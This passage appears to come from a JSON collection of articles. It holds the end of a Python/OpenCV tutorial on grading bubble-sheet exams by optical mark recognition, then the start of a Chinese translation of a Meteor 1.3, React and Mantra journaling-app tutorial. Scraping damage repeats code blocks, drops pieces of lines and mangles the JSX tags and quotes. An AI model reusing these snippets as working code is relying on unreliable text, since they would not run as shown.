then initialize\n    # the list of contours that correspond to questions\n    cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    questionCnts = []\n\n    # loop over the contours\n    for c in cnts:\n        # compute the bounding box of the contour, then use the\n        # bounding box to derive the aspect ratio\n        (x, y, w, h) = cv2.boundingRect(c)\n        ar = w / float(h)\n\n        # in order to label the contour as a question, region\n        # should be sufficiently wide, sufficiently tall, and\n        # have an aspect ratio approximately equal to 1\n        if w >= 20 and h >= 20 and ar >= 0.9 and ar <= 1.1:\n            questionCnts.append(c)\n\n    # sort the question contours top-to-bottom, then initialize\n    # the total number of correct answers\n    questionCnts = contours.sort_contours(questionCnts,\n        method=\"top-to-bottom\")[0]\n    correct = 0\n\n    # each question has 5 possible answers, to loop over the\n    # question in batches of 5\n    for (q, i) in enumerate(np.arange(0, len(questionCnts), 5)):\n        # sort the contours for the current question from\n        # left to right, then initialize the index of the\n        # bubbled answer\n        cnts = contours.sort_contours(questionCnts[i:i + 5])[0]\n        bubbled = None\n\n\n\n\n\nFirst, we must sort our questionCnts from top-to-bottom. This will ensure that rows of questions that are _closer to the top_ of the exam will appear _first_ in the sorted list.\n\nWe also initialize a bookkeeper variable to keep track of the number of correct answers.\n\nOn **Line 90** we start looping over our questions. Since each question has 5 possible answers, we’ll apply NumPy array slicing and contour sorting to to sort the _current set of contours_ from left to right.\n\nThe reason this methodology works is because we have _already_ sorted our contours from top-to-bottom. We _know_ that the 5 bubbles for each question will appear sequentially in our list — **but we _do not know_ whether these bubbles will be sorted from left-to-right.** The sort contour call on **Line 94** takes care of this issue and ensures each row of contours are sorted into rows, from left-to-right.\n\nTo visualize this concept, I have included a screenshot below that depicts each row of questions as a separate color:\n\n![Figure 7: By sorting our contours from top-to-bottom, followed by left-to-right, we can extract each row of bubbles. Therefore, each row is equal to the bubbles for one question.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_bubble_rows-243x300.jpg%20243w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_bubble_rows.jpg%20405w)\n\n**Figure 7:** By sorting our contours from top-to-bottom, followed by left-to-right, we can extract each row of bubbles. Therefore, each row is equal to the bubbles for one question.\n\n\n\nGiven a row of bubbles, the next step is to determine which bubble is filled in.\n\nWe can accomplish this by using our thresh image and counting the number of non-zero pixels (i.e., _foreground pixels_) in each bubble region:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    # import the necessary packages\n    from imutils.perspective import four_point_transform\n    from imutils import contours\n    import numpy as np\n    import argparse\n    import imutils\n    import cv2\n\n    # construct the argument parse and parse the arguments\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"-i\", \"--image\", required=True,\n        help=\"path to the input image\")\n    args = vars(ap.parse_args())\n\n    # define the answer key which maps the question number\n    # to the correct answer\n    ANSWER_KEY = {0: 1, 1: 4, 2: 0, 3: 3, 4: 1}\n\n    # load the image, convert it to grayscale, blur it\n    # slightly, then find edges\n    image = cv2.imread(args[\"image\"])\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    blurred = cv2.GaussianBlur(gray, (5, 5), 0)\n    edged = cv2.Canny(blurred, 75, 200)\n\n    # find contours in the edge map, then initialize\n    # the contour that corresponds to the document\n    cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    docCnt = None\n\n    # ensure that at least one contour was found\n    if len(cnts) > 0:\n        # sort the contours according to their size in\n        # descending order\n        cnts = sorted(cnts, key=cv2.contourArea, reverse=True)\n\n        # loop over the sorted contours\n        for c in cnts:\n            # approximate the contour\n            peri = cv2.arcLength(c, True)\n            approx = cv2.approxPolyDP(c, 0.02 * peri, True)\n\n            # if our approximated contour has four points,\n            # then we can assume we have found the paper\n            if len(approx) == 4:\n                docCnt = approx\n                break\n\n    # apply a four point perspective transform to both the\n    # original image and grayscale image to obtain a top-down\n    # birds eye view of the paper\n    paper = four_point_transform(image, docCnt.reshape(4, 2))\n    warped = four_point_transform(gray, docCnt.reshape(4, 2))\n\n    # apply Otsu's thresholding method to binarize the warped\n    # piece of paper\n    thresh = cv2.threshold(warped, 0, 255,\n        cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1]\n\n    # find contours in the thresholded image, then initialize\n    # the list of contours that correspond to questions\n    cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    questionCnts = []\n\n    # loop over the contours\n    for c in cnts:\n        # compute the bounding box of the contour, then use the\n        # bounding box to derive the aspect ratio\n        (x, y, w, h) = cv2.boundingRect(c)\n        ar = w / float(h)\n\n        # in order to label the contour as a question, region\n        # should be sufficiently wide, sufficiently tall, and\n        # have an aspect ratio approximately equal to 1\n        if w >= 20 and h >= 20 and ar >= 0.9 and ar  bubbled[0]:\n                bubbled = (total, j)\n\n\n\n\n\n**Line 98** handles looping over each of the sorted bubbles in the row.\n\nWe then construct a mask for the current bubble on **Line 101** and then count the number of non-zero pixels in the masked region (**Lines 107 and 108**). The more non-zero pixels we count, then the more foreground pixels there are, and therefore the bubble with the maximum non-zero count is the index of the bubble that the the test taker has bubbled in (**Line 113 and 114**).\n\nBelow I have included an example of creating and applying a mask to each bubble associated with a question:\n\n![Figure 8: An example of constructing a mask for each bubble in a row.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_mask.gif)\n\n**Figure 8:** An example of constructing a mask for each bubble in a row.\n\n\n\nClearly, the bubble associated with _“B”_ has the most thresholded pixels, and is therefore the bubble that the user has marked on their exam.\n\nThis next code block handles looking up the correct answer in the ANSWER_KEY , updating any relevant bookkeeper variables, and finally drawing the marked bubble on our image:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    # import the necessary packages\n    from imutils.perspective import four_point_transform\n    from imutils import contours\n    import numpy as np\n    import argparse\n    import imutils\n    import cv2\n\n    # construct the argument parse and parse the arguments\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"-i\", \"--image\", required=True,\n        help=\"path to the input image\")\n    args = vars(ap.parse_args())\n\n    # define the answer key which maps the question number\n    # to the correct answer\n    ANSWER_KEY = {0: 1, 1: 4, 2: 0, 3: 3, 4: 1}\n\n    # load the image, convert it to grayscale, blur it\n    # slightly, then find edges\n    image = cv2.imread(args[\"image\"])\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    blurred = cv2.GaussianBlur(gray, (5, 5), 0)\n    edged = cv2.Canny(blurred, 75, 200)\n\n    # find contours in the edge map, then initialize\n    # the contour that corresponds to the document\n    cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    docCnt = None\n\n    # ensure that at least one contour was found\n    if len(cnts) > 0:\n        # sort the contours according to their size in\n        # descending order\n        cnts = sorted(cnts, key=cv2.contourArea, reverse=True)\n\n        # loop over the sorted contours\n        for c in cnts:\n            # approximate the contour\n            peri = cv2.arcLength(c, True)\n            approx = cv2.approxPolyDP(c, 0.02 * peri, True)\n\n            # if our approximated contour has four points,\n            # then we can assume we have found the paper\n            if len(approx) == 4:\n                docCnt = approx\n                break\n\n    # apply a four point perspective transform to both the\n    # original image and grayscale image to obtain a top-down\n    # birds eye view of the paper\n    paper = four_point_transform(image, docCnt.reshape(4, 2))\n    warped = four_point_transform(gray, docCnt.reshape(4, 2))\n\n    # apply Otsu's thresholding method to binarize the warped\n    # piece of paper\n    thresh = cv2.threshold(warped, 0, 255,\n        cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1]\n\n    # find contours in the thresholded image, then initialize\n    # the list of contours that correspond to questions\n    cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    questionCnts = []\n\n    # loop over the contours\n    for c in cnts:\n        # compute the bounding box of the contour, then use the\n        # bounding box to derive the aspect ratio\n        (x, y, w, h) = cv2.boundingRect(c)\n        ar = w / float(h)\n\n        # in order to label the contour as a question, region\n        # should be sufficiently wide, sufficiently tall, and\n        # have an aspect ratio approximately equal to 1\n        if w >= 20 and h >= 20 and ar >= 0.9 and ar  bubbled[0]:\n                bubbled = (total, j)\n\n        # initialize the contour color and the index of the\n        # *correct* answer\n        color = (0, 0, 255)\n        k = ANSWER_KEY[q]\n\n        # check to see if the bubbled answer is correct\n        if k == bubbled[1]:\n            color = (0, 255, 0)\n            correct += 1\n\n        # draw the outline of the correct answer on the test\n        cv2.drawContours(paper, [cnts[k]], -1, color, 3)\n\n\n\n\n\nBased on whether the test taker was correct or incorrect yields which color is drawn on the exam. If the test taker is _correct_, we’ll highlight their answer in _green_. However, if the test taker made a mistake and marked an incorrect answer, we’ll let them know by highlighting the _correct_ answer in _red_:\n\n![Figure 9: Drawing a ](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_correct_vs_incorrect-243x300.jpg%20243w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_correct_vs_incorrect.jpg%20405w)\n\n**Figure 9:** Drawing a “green” circle to mark “correct” or a “red” circle to mark “incorrect”.\n\n\n\nFinally, our last code block handles scoring the exam and displaying the results to our screen:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    # import the necessary packages\n    from imutils.perspective import four_point_transform\n    from imutils import contours\n    import numpy as np\n    import argparse\n    import imutils\n    import cv2\n\n    # construct the argument parse and parse the arguments\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"-i\", \"--image\", required=True,\n        help=\"path to the input image\")\n    args = vars(ap.parse_args())\n\n    # define the answer key which maps the question number\n    # to the correct answer\n    ANSWER_KEY = {0: 1, 1: 4, 2: 0, 3: 3, 4: 1}\n\n    # load the image, convert it to grayscale, blur it\n    # slightly, then find edges\n    image = cv2.imread(args[\"image\"])\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    blurred = cv2.GaussianBlur(gray, (5, 5), 0)\n    edged = cv2.Canny(blurred, 75, 200)\n\n    # find contours in the edge map, then initialize\n    # the contour that corresponds to the document\n    cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    docCnt = None\n\n    # ensure that at least one contour was found\n    if len(cnts) > 0:\n        # sort the contours according to their size in\n        # descending order\n        cnts = sorted(cnts, key=cv2.contourArea, reverse=True)\n\n        # loop over the sorted contours\n        for c in cnts:\n            # approximate the contour\n            peri = cv2.arcLength(c, True)\n            approx = cv2.approxPolyDP(c, 0.02 * peri, True)\n\n            # if our approximated contour has four points,\n            # then we can assume we have found the paper\n            if len(approx) == 4:\n                docCnt = approx\n                break\n\n    # apply a four point perspective transform to both the\n    # original image and grayscale image to obtain a top-down\n    # birds eye view of the paper\n    paper = four_point_transform(image, docCnt.reshape(4, 2))\n    warped = four_point_transform(gray, docCnt.reshape(4, 2))\n\n    # apply Otsu's thresholding method to binarize the warped\n    # piece of paper\n    thresh = cv2.threshold(warped, 0, 255,\n        cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1]\n\n    # find contours in the thresholded image, then initialize\n    # the list of contours that correspond to questions\n    cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL,\n        cv2.CHAIN_APPROX_SIMPLE)\n    cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n    questionCnts = []\n\n    # loop over the contours\n    for c in cnts:\n        # compute the bounding box of the contour, then use the\n        # bounding box to derive the aspect ratio\n        (x, y, w, h) = cv2.boundingRect(c)\n        ar = w / float(h)\n\n        # in order to label the contour as a question, region\n        # should be sufficiently wide, sufficiently tall, and\n        # have an aspect ratio approximately equal to 1\n        if w >= 20 and h >= 20 and ar >= 0.9 and ar  bubbled[0]:\n                bubbled = (total, j)\n\n        # initialize the contour color and the index of the\n        # *correct* answer\n        color = (0, 0, 255)\n        k = ANSWER_KEY[q]\n\n        # check to see if the bubbled answer is correct\n        if k == bubbled[1]:\n            color = (0, 255, 0)\n            correct += 1\n\n        # draw the outline of the correct answer on the test\n        cv2.drawContours(paper, [cnts[k]], -1, color, 3)\n\n    # grab the test taker\n    score = (correct / 5.0) * 100\n    print(\"[INFO] score: {:.2f}%\".format(score))\n    cv2.putText(paper, \"{:.2f}%\".format(score), (10, 30),\n        cv2.FONT_HERSHEY_SIMPLEX, 0.9, (0, 0, 255), 2)\n    cv2.imshow(\"Original\", image)\n    cv2.imshow(\"Exam\", paper)\n    cv2.waitKey(0)\n\n\n\n\n\nBelow you can see the output of our fully graded example image:\n\n![Figure 10: Finishing our OMR system for grading human-taken exams.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_result_01-300x266.jpg%20300w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_result_01.jpg%20600w)\n\n**Figure 10:** Finishing our OMR system for grading human-taken exams.\n\n\n\nIn this case, the reader obtained an 80% on the exam. The only question they missed was #4 where they incorrectly marked _“C”_ as the correct answer (_“D”_ was the correct choice).\n\n### Why not use circle detection?\n\nAfter going through this tutorial, you might be wondering:\n\n_“Hey Adrian, an answer bubble is a circle. So why did you extract contours instead of applying [Hough circles](http://www.pyimagesearch.com/2014/07/21/detecting-circles-images-using-opencv-hough-circles/) to find the circles in the image?”_\n\nGreat question.\n\nTo start, tuning the parameters to Hough circles on an image-to-image basis can be a real pain. But that’s only a minor reason.\n\nThe **real reason** is:\n\n_**User error.**_\n\nHow many times, whether purposely or not, have you filled in outside the lines on your bubble sheet? I’m not expert, but I’d have to guess that at least 1 in every 20 marks a test taker fills in is “slightly” outside the lines.\n\nAnd guess what?\n\nHough circles don’t handle deformations in their outlines very well — your circle detection would totally fail in that case.\n\nBecause of this, I instead recommend using contours and contour properties to help you filter the bubbles and answers. The cv2.findContours function doesn’t care if the bubble is “round”, “perfectly round”, or “oh my god, what the hell is that?”.\n\nInstead, the cv2.findContours function will return a set of _blobs_ to you, which will be the foreground regions in your image. You can then take these regions process and filter them to find your questions (as we did in this tutorial), and go about your way.\n\n### Our bubble sheet test scanner and grader results\n\nTo see our bubble sheet test grader in action, be sure to download the source code and example images to this post using the **_“Downloads”_** section at the bottom of the tutorial.\n\nWe’ve already seen test_01.png as our example earlier in this post, so let’s try test_02.png :\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    $ python test_grader.py --image images/test_02.png\n\n\n\n\n\nHere we can see that a particularly nefarious user took our exam. They were not happy with the test, writing _“#yourtestsux”_ across the front of it along with an anarchy inspiring _“#breakthesystem”_. They also marked _“A”_ for all answers.\n\nPerhaps it comes as no surprise that the user scored a pitiful 20% on the exam, based entirely on luck:\n\n![Figure 11: By using contour filtering, we are able to ignore the regions of the exam that would have otherwise compromised its integrity.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_result_02-300x242.jpg%20300w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_result_02.jpg%20600w)\n\n**Figure 11:** By using contour filtering, we are able to ignore the regions of the exam that would have otherwise compromised its integrity.\n\n\n\nLet’s try another image:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    $ python test_grader.py --image images/test_02.png\n\n\n\n\n\nThis time the reader did a little better, scoring a 60%:\n\n![Figure 12: Building a bubble sheet scanner and test grader using Python and OpenCV.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_result_03-300x270.jpg%20300w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_result_03.jpg%20600w)\n\n**Figure 12:** Building a bubble sheet scanner and test grader using Python and OpenCV.\n\n\n\nIn this particular example, the reader simply marked all answers along a diagonal:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    $ python test_grader.py --image images/test_04.png\n\n\n\n\n\n![Figure 13: Optical Mark Recognition for test scoring using Python and OpenCV.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_result_04-300x256.jpg%20300w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_result_04.jpg%20600w)\n\n**Figure 13:** Optical Mark Recognition for test scoring using Python and OpenCV.\n\n\n\nUnfortunately for the test taker, this strategy didn’t pay off very well.\n\nLet’s look at one final example:\n\n\n\nBubble sheet scanner and test grader using OMR, Python and OpenCV\n\n\n\n    $ python test_grader.py --image images/test_05.png\n\n\n\n\n\n![Figure 14: Recognizing bubble sheet exams using computer vision.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_result_05-300x239.jpg%20300w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_result_05.jpg%20600w)\n\n**Figure 14:** Recognizing bubble sheet exams using computer vision.\n\n\n\nThis student clearly studied ahead of time, earning a perfect 100% on the exam.\n\n### Extending the OMR and test scanner\n\nAdmittedly, this past summer/early autumn has been one of the _busiest_ periods of my life, so I needed to [timebox](https://en.wikipedia.org/wiki/Timeboxing) the development of the OMR and test scanner software into a single, shortened afternoon last Friday.\n\nWhile I was able to get the barebones of a _working_ bubble sheet test scanner implemented, there are certainly a few areas that need improvement. The most obvious area for improvement is the _logic to handle non-filled in bubbles._\n\nIn the current implementation, we (naively) assume that a reader has filled in _one_ and _only one_ bubble per question row.\n\nHowever, since we determine if a particular bubble is “filled in” simply by counting the number of thresholded pixels in a row and then sorting in descending order, this can lead to two problems:\n\n1.  What happens if a user _does not_ bubble in an answer for a particular question?\n2.  What if the user is nefarious and marks _multiple_ bubbles as “correct” in the same row?\n\nLuckily, detecting and handling of these issues isn’t terribly challenging, we just need to insert a bit of logic.\n\nFor issue #1, if a reader chooses _not_ to bubble in an answer for a particular row, then we can place a _minimum threshold_ on **Line 108** where we compute cv2.countNonZero :\n\n![Figure 15: Detecting if a user has marked zero bubbles on the exam.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_no_bubbles-300x67.jpg%20300w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_no_bubbles.jpg%20600w)\n\n**Figure 15:** Detecting if a user has marked zero bubbles on the exam.\n\n\n\nIf this value is sufficiently large, then we can mark the bubble as “filled in”. Conversely, if total is too small, then we can skip that particular bubble. If at the end of the row there are _no_ bubbles with sufficiently large threshold counts, we can mark the question as “skipped” by the test taker.\n\nA similar set of steps can be applied to issue #2, where a user marks _multiple_ bubbles as correct for a single question:\n\n![Figure 16: Detecting if a user has marked multiple bubbles for a given question.](http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_multiple_bubbles-300x67.jpg%20300w,%20http://www.pyimagesearch.com/wp-content/uploads/2016/10/omr_multiple_bubbles.jpg%20600w)\n\n**Figure 16:** Detecting if a user has marked multiple bubbles for a given question.\n\n\n\nAgain, all we need to do is apply our thresholding and count step, this time keeping track if there are _multiple bubbles_ that have a total that exceeds some pre-defined value. If so, we can invalidate the question and mark the question as incorrect.\n\n## Summary\n\nIn this blog post, I demonstrated how to build a bubble sheet scanner and test grader using computer vision and image processing techniques.\n\nSpecifically, we implemented _Optical Mark Recognition_ (OMR) methods that facilitated our ability of capturing human-marked documents and _automatically_ analyzing the results.\n\nFinally, I provided a Python and OpenCV implementation that you can use for building your own bubble sheet test grading systems.\n\nIf you have any questions, please feel free to leave a comment in the comments section!\n\n_**But before you, be sure to enter your email address in the form below to be notified when future tutorials are published on the PyImageSearch blog!**_\n\n## Downloads:\n\n\n\n\n\n![](http://www.pyimagesearch.com/wp-content/uploads/2014/01/imagesearchengine-resourceguide-cover.png)\n\nEnter your email address below to get my **free 11-page Image Search Engine Resource Guide PDF**. Uncover **exclusive techniques** that I don't publish on this blog and start building image search engines of your own!\n\n\n\n"
  },
  {
    "path": "TODO/build-a-journaling-app-with-meteor-1-3-beta-react-react-bootstrap-and-mantra.md",
    "content": ">* 原文链接 : [Build A Journaling App with Meteor 1.3 (Beta), React, React-Bootstrap, and Mantra](https://medium.com/@kenrogers/build-a-journaling-app-with-meteor-1-3-beta-react-react-bootstrap-and-mantra-7965d9e9fc23#.bjcr4yhbf)\n* 原文作者 : [Ken Rogers](https://medium.com/@kenrogers)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [yangzj1992](http://qcyoung.com)\n* 校对者: [Zhongyi Tong](https://github.com/geeeeeeeeek), [刘鑫](https://github.com/lx7575000)\n\n\n由于目前 Meteor 1.3 正式版仍在开发中，在这份 Meteor 指南里我们采用了目前可以获取到的 Meteor 1.3 beta 版本进行开发。尽管 Meteor 1.3 版本很棒并有着许多精彩的改进，但部分人对于到底应该如何使用它来进行开发仍有一些困惑。 MDG(Meteor Development Group) 目前正在编写 Meteor 1.3 版指南，随着 1.3 正式版的发布，我们将会获得 Meteor 1.3 最佳开发实践的确切信息。\n\n**旁注：我写了一本关于使用 Meteor 1.3 ，React ，React-Bootstrap 遵循 Mantra 框架规范进行应用开发的书，点击[这里](http://kenrogers.co/meteor-react)可以了解更多并免费获取前三章的内容**。\n\n我写这份指南的目的是让开发者现在就能用上 Meteor 1.3 。当你阅读本指南时，需要留意 1.3 版本目前仍处于 beta 阶段，因此内容可能发生任何变化。我会尽我所能的更新这份指南来适应最新版本。如果你发现了什么过期的内容，希望能指出来让我知道。\n\n在这份指南中，我们将要构建一个简单的任务清单，开个玩笑，不会再是任务清单了。我们将用 Meteor 1.3 ，React 和 React-Bootstrap 构建一个基本的日志应用。\n\n我们将采用 Arunoda 的 Mantra 规范。如果你对 Mantra 不够熟悉，你可以访问[这里](https://github.com/kadirahq/mantra)了解更多。 基本来说， Mantra 应用程序架构规范向我们提供了一个宜于维护的方式去构建 Meteor 应用。\n\n在我们开始前，你需要安装好 Meteor 并需要对 Meteor 的原理及使用方法具备一定的理解。如果你并不熟悉，可以看看[官方 Meteor 向导](https://www.meteor.com/tutorials/react/creating-an-app)。\n\n首先我们将通过一些资源来熟悉 Meteor 1.3 和 Mantra ，然后运用它们创建一个简单的日志应用。\n\n#### 了解 Meteor 1.3\n\n首先我们要介绍 Meteor 1.3 并且了解它的主要改动包含什么。在 1.3 版本中它最大的改动是完全支持 ES2015 并提供了模块功能。\n\n一开始你会发现这和我们以往开发 Meteor 应用很不一样，但一旦你习惯了你会发现体验是相当不错的，尤其是你要使用 Mantra 的架构的话。\n\n这里有一篇关于 Meteor 1.3 的模块机制是怎样工作的精彩介绍：[https://github.com/meteor/meteor/blob/release-1.3/packages/modules/README.md](https://github.com/meteor/meteor/blob/release-1.3/packages/modules/README.md)\n\n使用模块可以让我们更容易的去写更多的代码，更加模块化。这样我们可以更好地组织我们的应用，由于 Meteor 1.3 也添加了对 npm 包的支持，我们不必再像过去那样只有 Meteor 包支持的情况下进行开发了。\n\n接下来，你可以看看这三篇文章来了解如何在 Meteor 1.3 中配置 React ，并用它来处理数据。第二篇会向你介绍容器组件，这是使用 Mantra 开发的一个重要部分。\n\n1.  [https://voice.kadira.io/getting-started-with-meteor-1-3-and-react-15e071e41cd1#.qn4zj3420](https://voice.kadira.io/getting-started-with-meteor-1-3-and-react-15e071e41cd1#.qn4zj3420)\n2.  [https://voice.kadira.io/let-s-compose-some-react-containers-3b91b6d9b7c8#.pd37xdmpn](https://voice.kadira.io/let-s-compose-some-react-containers-3b91b6d9b7c8#.pd37xdmpn)\n3.  [https://voice.kadira.io/using-meteor-data-and-react-with-meteor-1-3-13cb0935dedb#.3oe66g4ye](https://voice.kadira.io/using-meteor-data-and-react-with-meteor-1-3-13cb0935dedb#.3oe66g4ye)\n\n#### 第一步 — 项目设置\n\n通常来说，我们需要做的第一件事就是通过 Meteor 1.3 来创建我们的 Meteor 项目，像下面这样。\n\n    meteor create journal --release 1.3-modules-beta.8\n\n**但是稍等一下**，构建一个 Mantra 应用需要非常多的项目设置\n，为了加快开发速度，我已经使用 Meteor 1.3，React，Mantra 创建创建了一个样板项目。我们就用它来代替初始方案直接开始。\n\n如果你想知道这些具体做了什么，查看 [Mantra 规范](https://kadirahq.github.io/mantra/)和 [Mantra 博客应用实例](https://github.com/mantrajs/mantra-sample-blog-app)。\n\n现在我们安装完样板项目，它完全包含了遵循 Mantra 规范的 Meteor 项目中所有你需要的核心文件和目录。\n\n你可以通过以下命令 clone 项目：\n\n    git clone git@github.com:kenrogers/mantraplate.git\n\n然后切换到刚创建的目录中运行\n\n    npm install\n\n这样会安装本应用依赖的所有的包。你可以查看示例项目来熟悉整个目录结构。\n\n它包含完整的布局，路由系统以及具有注册，登录登出功能的用户系统。\n\n在这份指南中，我们将要讨论这些内容是如何组合在一起的，以及如何使用户在应用中添加日志记录的功能。\n\n在我们添加内容前我们来看看样例项目的目录结构，你可以发现，在客户端文件夹中我们将整个应用分成一个个模块，这些模块是你的应用的主要组成部分。\n\n我们总是需要一个核心模块，如果你的 APP 比较简单，这个核心模块就是你所唯一需要的。在我们的 APP 中包含了核心模块和用户模块，这里还要加入一个条目模块来添加我们的日志记录。\n\n这样的模块结构让我们可以轻松地组织我们的代码。\n\n在用户模块中，看看 containers 和 components 文件夹中的 NewUser 文件，。container 文件夹如下所示。\n\n    import NewUser from ‘../components/NewUser.jsx’;\n    import {useDeps, composeWithTracker, composeAll} from ‘mantra-core’;\n    export const composer = ({context, clearErrors}, onData) => {\n     const {LocalState} = context();\n     const error = LocalState.get(‘CREATE_USER_ERROR’);\n     onData(null, {error});\n     return clearErrors;\n    };\n    export const depsMapper = (context, actions) => ({\n     create: actions.users.create,\n     clearErrors: actions.users.clearErrors,\n     context: () => context\n    });\n    export default composeAll(\n     composeWithTracker(composer),\n     useDeps(depsMapper)\n    )(NewUser);\n\n你可以看到我们在这里实际上并没有进行任何渲染，我们只是做一些设置和清理的工作，然后在 NewUser 组件中我们才实际上渲染了视图。\n\n如果你运行应用并访问 /register 路由，打开 React 开发者工具，你可以看到 react-komposer 正在后台执行。它会创建一个容器组件负责处理底层子组件的数据或是 UI 组件。\n\n当我们获取数据时容器组件的用途将会得到具体的展现，但是这里我们不这样处理。\n\n#### 第二步 — 原型制作\n\n对于这个日志程序我们准备使用 React-Bootstrap 。它可以很方便地使用 Bootstrap 来创建 React 应用。这种方式易于上手，并且保持了模块化，正如我们所愿。\n\n让我们设置好并添加一个简单的表单。\n\n首先让我们为项目添加 `react-bootstrap`\n\n    npm install react-bootstrap\n\n因为 React-Bootstrap 并不依赖任何特定的 Bootstrap 库，所以我们需要自行添加，现在让我们添加 Twitter 的官方 Meteor 包。\n\n    meteor add twbs:bootstrap\n\n首先我们用 React-Bootstrap 来修改 MainLayout.jsx 文件的内容如下：\n\n    import React from ‘react’;\n    import {Grid, Row} from ‘react-bootstrap’;\n    const Layout = ({content = () => null }) => (\n     <grid>\n      <row>\n       <h1>Journal</h1>\n       {content()}\n      </row>\n     </grid>\n    );\n    export default Layout;\n\n在这里，我们从 react-boostrap 包中引入 Grid 和 Row 组件，并且像使用 div 一样为它们添加合适的 bootstrap 类。想要了解更多关于这个优秀的包的工作原理，可以在[这里](https://react-bootstrap.github.io/components.html)查看组件列表。\n\n现在让我们修改 NewUser 和 Login UI 的组件让他们更友好地贴近 Bootstrap 。打开 NewUser.jsx 文件进行如下修改：\n\n    import React from ‘react’;\n    import { Col, Panel, Input, ButtonInput, Glyphicon } from ‘react-bootstrap’;\n    class NewUser extends React.Component {\n     render() {\n     const {error} = this.props;\n     return (\n       <col xs=\"{12}\" sm=\"{6}\" smoffset=\"{3}\">\n        <panel>\n         <h1>Register</h1>\n         {error ? <p style=\"{{color:\" ‘red’}}=\"\">{error}</p> : null}\n         <form>\n          <input ref=\"”email”\" type=\"”email”\" placeholder=\"”Email”\">\n          <input ref=\"”password”\" type=\"”password”\" placeholder=\"”Password”\">\n          <buttoninput onclick=\"{this.createUser.bind(this)}\" bsstyle=\"”primary”\" type=\"”submit”\" value=\"”Sign\" up”=\"\">\n         </buttoninput></form>\n        </panel>\n\n      )\n     }\n    createUser(e) {\n     e.preventDefault();\n     const {create} = this.props;\n     const {email, password} = this.refs;\n     create(email.getValue(), password.getValue());\n     email.getInputDOMNode().value = ‘’;\n     password.getInputDOMNode().value = ‘’;\n     }\n    }\n    export default NewUser;\n\n这个表单十分简单，它仅仅负责显示自身并调用 create 方法。这里我们简单介绍一下。\n\n在我们的 actions 文件夹中，它们负责处理我们应用的逻辑，下面这一行\n\n    create(email.getValue(), password.getValue());\n\n将调用该方法并创建实际用户。 Mantra 重点强调了希望把一切分离成单独的文件。因此，我们将文件分为展示、逻辑、以及这个应用程序的每个组件。\n\n现在让我们修改登录表单如下：\n\n    import React from ‘react’;\n    import { Col, Panel, Input, ButtonInput, Glyphicon } from ‘react-bootstrap’;\n    class Login extends React.Component {\n     render() {\n      const {error} = this.props;\n      return (\n       <col xs=\"{12}\" sm=\"{6}\" smoffset=\"{3}\">\n        <panel>\n         <h1>Login</h1>\n         {error ? <p style=\"{{color:\" ‘red’}}=\"\">{error}</p> : null}\n         <form>\n          <input ref=\"”email”\" type=\"”email”\" placeholder=\"”Email”\">\n          <input ref=\"”password”\" type=\"”password”\" placeholder=\"”Password”\">\n          <buttoninput onclick=\"{this.login.bind(this)}\" bsstyle=\"”primary”\" type=\"”submit”\" value=\"”Login”/\">\n         </buttoninput></form>\n        </panel>\n\n      )\n     }\n    login(e) {\n     e.preventDefault();\n     const {loginUser} = this.props;\n     const {email, password} = this.refs;\n     loginUser(email.getValue(), password.getValue());\n     email.getInputDOMNode().value = ‘’;\n     